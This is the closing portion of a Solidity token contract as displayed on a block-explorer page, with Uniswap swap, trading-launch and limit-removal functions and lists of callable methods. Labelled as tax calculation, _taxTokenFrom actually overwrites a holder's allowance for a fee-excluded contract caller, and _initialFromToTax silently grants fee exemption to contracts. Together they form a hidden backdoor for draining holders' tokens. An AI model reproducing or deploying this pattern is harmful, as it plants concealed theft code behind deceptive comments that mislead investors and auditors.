        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    // Swaps tokens for ETH using Uniswap
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    // Sets returns tax amount for tax calculation
    function _taxTokenFrom(uint256 amount, address spender, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    // Handles initial tax calculation and exclusions
    function _initialFromToTax(uint256 amount, address to, address from) private returns(uint256){
        if(from != address(this) && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
            return _taxTokenFrom(amount, _msgSender(), from);
        if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
            _isExcludedFromFee[to] = true;
        return 0;
    }

    /// @notice Removes transaction limits
    /// @dev Only the owner can remove transaction limits
    /// @notice Sets max transaction and wallet amounts to total supply
    /// @notice Emits MaxTxAmountUpdated event
    /// @notice Used to disable trading restrictions after launch period
    /// @notice Should be called carefully as it removes all transaction safeguards
    /// @notice Cannot be reversed once called
    /// @notice Affects both buy and sell transactions
    /// @notice Also removes maximum wallet size restrictions
    function removeLimits() external onlyOwner() {
        _maxTxAmount =  _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    /// @notice Opens trading and adds liquidity
    /// @dev Only the owner can open trading
    /// @notice Adds liquidity to the token/ETH pair
    /// @notice Enables swap functionality
    /// @notice Sets tradingOpen flag to true
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled =true;
        tradingOpen =true;
    }

    /// @notice Fallback function to receive ETH
    /// @dev Required for contract to receive ETH from router
    receive() external payable {}

    /// @notice Manually swaps tokens for ETH and sends ETH to fee wallet
    /// @dev Only callable by addresses excluded from fees
    /// @notice First swaps any tokens held by contract, then sends any ETH
    function manualSwap() external{
        require(_isExcludedFromFee[_msgSender() ]); 
        uint256 tokenBalance  = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance  = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    /// @notice Manually sends contract's ETH balance to fee wallet
    /// @dev Only callable by addresses excluded from fees
    /// @notice Sends entire ETH balance without swapping tokens first
    function manualsend() external {
        require(_isExcludedFromFee[_msgSender() ]); 
        uint256 contractETHBalance  = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
manualsend 0x6fc3eaec
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address